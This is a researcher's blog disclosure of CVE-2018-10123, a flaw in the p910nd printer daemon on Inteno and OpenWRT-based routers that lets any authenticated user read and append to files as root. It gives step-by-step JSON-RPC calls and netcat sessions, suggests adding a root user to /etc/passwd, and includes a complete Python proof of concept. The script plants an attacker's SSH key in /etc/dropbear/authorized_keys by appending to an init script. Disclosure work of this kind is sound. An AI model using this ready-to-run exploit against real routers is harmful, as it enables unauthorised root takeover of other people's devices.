pwn910nd - abusing OpenWRT's printer server to become root

I have discovered yet another vulnerability in Inteno’s IOPSYS firmware - but I believe this to affect all OpenWRT or LEDE based routers that ship with the printer driver p910nd. Any authenticated user can modify the configuration for it in a way which allows them to read and append to any file as root. This leads to information disclosure and remote code execution. This vulnerability has been assigned the CVE ID: CVE-2018-10123.

I’ve written reports for vulnerabilities on Inteno’s devices before (1, 2, 3). I recommend reading the first post as it describes how one can call functions on the router - including ones which may not be listed in the admin panel.

While looking through the configurations an authenticated user can modify, I noticed a section for p910nd. According to the OpenWRT wiki, it is a lightweight daemon responsible for basically being the gateway between a device connected to the router and a printer connected to the router. It is disabled by default, but can easily be enabled in the admin panel. By default, the section looks like this:

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","get",{config:"p910nd"}],"id":0}

< [...] {".anonymous": True, ".type": "p910nd", ".name": "cfg02f941", ".index": 0, "device": "/dev/usb/lp0", "port": "0", "bidirectional": "1", "enabled": "0"}

What intrigued me was the device value. This makes sense in an administration perspective, but the average end user should not be able to change this. I was interested in what would happen if we pointed p910nd towards something else - perhaps a file? Having SSH access for testing purposes, I created a test file:

# cat > /tmp/test << EOF
> Testing123
> EOF

I enabled p910nd and changed device to point to our newly created file:

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","set",{config:"p910nd",type:"p910nd",values:{enabled:"1",device:"/tmp/test"}}],"id":1}

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","commit",{config:"p910nd"}],"id":2}

As per the documentation, the service listens on port 9100. I used netcat to connect to that port:

$ ncat 192.168.1.1 9100
Testing123

I was instantly greeted with the contents of the file. I modified the permissions on the test file to see whether we could could read files with root-only access:

# chmod 600 /tmp/test
# ls -al /tmp/test
-rw-------    1 root    root    11 Apr 14 23:23 /tmp/test

Again, we could successfully read the file:

$ ncat 192.168.1.1 9100
Testing123

This makes sense, as the p910nd daemon runs as root on the system. The config also had a value called bidirectional, which was set to 1. Does this mean that we can write to files as well? I typed another test string within netcat to see whether it would be appended to the file. I also pressed enter, to make sure that the string was being sent:

$ ncat 192.168.1.1 9100
Testing123
foobar

Checking whether the file changed at all:

# cat /tmp/test
Testing123
foobar

Indeed, even writing to files is possible! This enables an attacker to easily gain access to the system. For example, one could add a user to /etc/passwd with UID 0 and a known password.

After a bit of testing, I also concluded that the file an attacker wished to write to had to already exist - simply changing the device value to a nonexistant file did not create the file. However, an attacker could still just append to a script that gets executed as root and add whatever code they wish to have executed.

I wrote a proof of concept that appended a line to the /etc/init.d/p910nd script, which on execution would overwrite /etc/dropbear/authorized_keys with my SSH key, allowing me to easily SSH in as root. This script would get executed every time a change was committed through UCI, which uses it to restart the service. The script in action:

The script in action

If you have an Inteno router with restricted access, you can use this PoC to add your own SSH key and log in as root. It may also work with other routers that have p910nd bundled and use the jsonrpc protocol to communicate - you may have to change the IP to also have /ubus at the end. If it uses a different protocol, a different PoC is needed.

This PoC requires Python 3.6 and a module called websocket-client which you can install by evoking pip install websocket-client. Please note that if you wish to use this, you should edit lines 58-61 of the script to include the proper IP, username, password and SSH key. You may also edit line 63 to include your own code for execution.

#!/usr/bin/python3

import json
import sys
import socket
import os
import time
from websocket import create_connection

def ubusAuth(host, username, password):
    ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"])
    req = json.dumps({"jsonrpc":"2.0","method":"call",
        "params":["00000000000000000000000000000000","session","login",
        {"username": username,"password":password}],
        "id":666})
    ws.send(req)
    response =  json.loads(ws.recv())
    ws.close()
    try:
        key = response.get('result')[1].get('ubus_rpc_session')
    except IndexError:
        return(None)
    return(key)

def ubusCall(host, key, namespace, argument, params={}):
    ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"])
    req = json.dumps({"jsonrpc":"2.0","method":"call",
        "params":[key,namespace,argument,params],
        "id":666})
    ws.send(req)
    response =  json.loads(ws.recv())
    ws.close()
    try:
        result = response.get('result')[1]
    except IndexError:
        if response.get('result')[0] == 0:
            return(True)
        return(None)
    return(result)

def sendData(host, port, data=""):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.sendall(data.encode('utf-8'))
    s.shutdown(socket.SHUT_WR)
    s.close()
    return(None)

def recvData(host, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    data = s.recv(1024)
    s.shutdown(socket.SHUT_WR)
    s.close()
    return(data)

if __name__ == "__main__":
    host     = "192.168.1.1"
    username = "user"
    password = "user"
    key      = "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAkQMU/2HyXNEJ8gZbkxrvLnpSZ4Xz+Wf3QhxXdQ5blDI5IvDkoS4jHoi5XKYHevz8YiaX8UYC7cOBrJ1udp/YcuC4GWVV5TET449OsHBD64tgOSV+3s5r/AJrT8zefJbdc13Fx/Bnk+bovwNS2OTkT/IqYgy9n+fKKkSCjQVMdTTrRZQC0RpZ/JGsv2SeDf/iHRa71keIEpO69VZqPjPVFQfj1QWOHdbTRQwbv0MJm5rt8WTKtS4XxlotF+E6Wip1hbB/e+y64GJEUzOjT6BGooMu/FELCvIs2Nhp25ziRrfaLKQY1XzXWaLo4aPvVq05GStHmTxb+r+WiXvaRv1cbQ== rsa-key-20170427"
    payload  = ("""
    /bin/echo "%s" > /etc/dropbear/authorized_keys;
    """ % key)

    print("Authenticating...")
    key = ubusAuth(host, username, password)
    if (not key):
        print("Auth failed!")
        sys.exit(1)
    print("Got key: %s" % key)

    print("Enabling p910nd and setting up exploit...")
    pwn910nd = ubusCall(host, key, "uci", "set",
        {"config":"p910nd", "type":"p910nd", "values":
        {"enabled":"1", "interface":"lan", "port":"0",
        "device":"/etc/init.d/p910nd"}})
    if (not pwn910nd):
        print("Enabling p910nd failed!")
        sys.exit(1)

    print("Committing changes...")
    p910ndc = ubusCall(host, key, "uci", "commit",
        {"config":"p910nd"})
    if (not p910ndc):
        print("Committing changes failed!")
        sys.exit(1)

    print("Waiting for p910nd to start...")
    time.sleep(5)

    print("Sending key...")
    sendData(host, 9100, payload)

    print("Triggerring exploit...")
    print("Cleaning up...")

    dis910nd = ubusCall(host, key, "uci", "set",
        {"config":"p910nd", "type":"p910nd", "values":
        {"enabled":"0", "device":"/dev/usb/lp0"}})
    if (not dis910nd):
        print("Exploit and clean up failed!")
        sys.exit(1)

    p910ndc = ubusCall(host, key, "uci", "commit",
        {"config":"p910nd"})
    if (not p910ndc):
        print("Exploit and clean up failed!")
        sys.exit(1)

    print("Exploitation complete")

Author | neonsea

Ethical Hacking and Cybersecurity student with a special interest for hacking hardware, webdev, IOT and Linux/GNU.